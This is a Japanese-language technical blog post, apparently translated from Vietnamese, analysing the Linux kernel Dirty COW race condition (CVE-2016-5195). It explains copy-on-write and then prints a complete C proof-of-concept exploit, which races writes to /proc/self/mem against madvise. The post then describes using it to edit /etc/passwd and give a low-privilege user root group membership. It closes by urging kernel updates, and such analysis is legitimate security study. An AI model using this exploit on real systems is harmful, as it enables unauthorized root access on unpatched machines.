
カーネルは root 権限で動作するため、このCVEは権限昇格の脆弱性として悪用される可能性があります。つまり、攻撃者は低権限ユーザーから Race condition(競合状態) を悪用して root 権限を取得できるということです。
OS理論の授業で学んだばかりですが、Race condition は、2つ以上のプロセスが同じリソースにアクセスし、そのリソースに対して正しく同期されずに操作を実行したときに発生します。その場合、これらの操作の結果は正しくない、または期待どおりではない可能性があります。
理解を深めるために、簡単な例を見てみましょう。
a = "h1n4m"; # ta gán cho a một chuỗi
b = a; # gán tiếp cho b = a
ここでは変数が2つありますが、どちらも同じメモリオブジェクトを指しています。これは、まったく同じ値のためにメモリを2倍確保する必要がないため、OSの仕組みによるものです。OSはコピーが変更されるまで待機し、その時点で残りの変数に個別のメモリを割り当てます。
b += "dep trai vcl" # sử đổi giá trị biến b, cụ thể là thêm một chuỗi nối vào sau
この時点で、OSは次の処理を行います。
競合状態(Race condition)は手順2と手順4の間で発生し、メモリマッピングを欺いて、新しく割り当てられたメモリ領域ではなく元のメモリ領域に変更内容を書き込ませます。これにより、a に対して読み取り専用の権限しか持っていなくても、b ではなく元のオブジェクトである a のメモリを変更してしまうことになります。
ここからが本題です。エクスプロイトのアイデアは何でしょうか? ご存じのとおり、ユーザーの権限は /etc/passwd ファイルで定義されており、このファイルを変更できるのは root だけです。では、読み取り権限しか持たないユーザーから Race condition を悪用して、/etc/passwd の内容を変更できるでしょうか?
答えは「はい」です。まず、より単純な例に適用したエクスプロイトコードを分析してみましょう。

まず、権限644の dirtycow ファイルを作成します(書き込み権限があるのは root のみ)。このファイルに "Hello" と書き込もうとすると、Permission denied になることがわかります。
攻撃対象の準備が完了しました。次はエクスプロイトコードです。
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
int f=open("dirtycow", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map,"h1n4m");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
このエクスプロイトは、メインスレッド、writeThread、madviseThread の3つのスレッドで構成されています。
メインスレッドは、ファイルをメモリにマッピングする役割を担います。
// Trước tiên chúng ta mở tệp của mình (lưu ý rằng nó đang được mở ở chế độ chỉ đọc)
int f=open("dirtycow", O_RDONLY);
// Sau đó chúng ta map nó vào COW memory bằng MAP PRIVATE
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
置き換えたいパターンの位置を探します:
// Sử dụng hàm strstr để tìm vị trí của "h1n4m" trong bộ nhớ được ánh xạ
char *position = strstr(map,"h1n4m");
次に、writeThread と madviseThread の2つのスレッドを開始します。
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
writeThread:
void *writeThread(void *arg)
{
char *content= "h4ck3r";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Đưa con trỏ đến chính xác vị trí cần thay đổi
lseek(f, offset, SEEK_SET);
// Thay đổi trên memory
write(f, content, strlen(content));
}
}
このスレッドの仕事は、h1n4m を h4ck3r(またはお好みの文字列 :> 危険ですよね)に置き換えることです。しかし、マップされたメモリはコピーオンライト(copy-on-write)タイプなので、このスレッドはマップされたメモリのコピー上の内容しか変更できず、ファイルには一切変更を加えません??
では、どこが危険なのでしょうか? もう一方のスレッドを見てみましょう。
madviseThread
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
このスレッドは、マップされたメモリのコピーを破棄するという1つの作業だけを行います。そのため、ポインタが元のマップされたメモリ、つまり最初にマッピングされたメモリを再び指す可能性があります。
この2つのスレッドが逐次実行される場合、つまり非マルチスレッドの場合、変更は常にマップされたメモリのコピーにのみ影響し、権限が設定されたファイルに危険を及ぼすことはありません。しかし、この2つのスレッドがシステムによって同時に呼び出される、つまりマルチスレッドの場合、何が起こるでしょうか? その通り、Race condition です。システムが誤認して、ポインタが元のマップされたメモリを指し、書き込み権限がないにもかかわらず root のファイル上のデータを変更してしまう瞬間があります。しかし、OSが常にそのような誤りを犯すわけではないため、2つのスレッドを無限ループで実行します。システムが一度でも誤認すれば、すべては計画どおりになります。
本題に戻ります。/etc/passwd は root だけが変更できるファイルです。上記の知識を活用して、/etc/passwd 内の lowuser のグループを変更してみましょう。
低権限ユーザー(low user)のときは、dirtycow ファイルへの書き込み権限がありません。
lowuser は root と同じグループに変更されました(1001->0000)この分析記事では、CVE-2016-5195、通称「Dirty Cow」(ベトナム語で「Con bò dơ bẩn」)について紹介しました。グループを変更するだけでなく、システムにユーザーを丸ごと追加することも完全に可能で、そのやり方も同じです。このCVEはずいぶん前に登場しましたが、今でも古いカーネルを使用している多くのシステムが影響を受けています。この記事を通じて、CVEの概要と、自身のシステムを守る方法を理解していただければ幸いです。(カーネルをアップデートしましょう !!!!!)
そして、私は h1n4m です。Peaceeeee.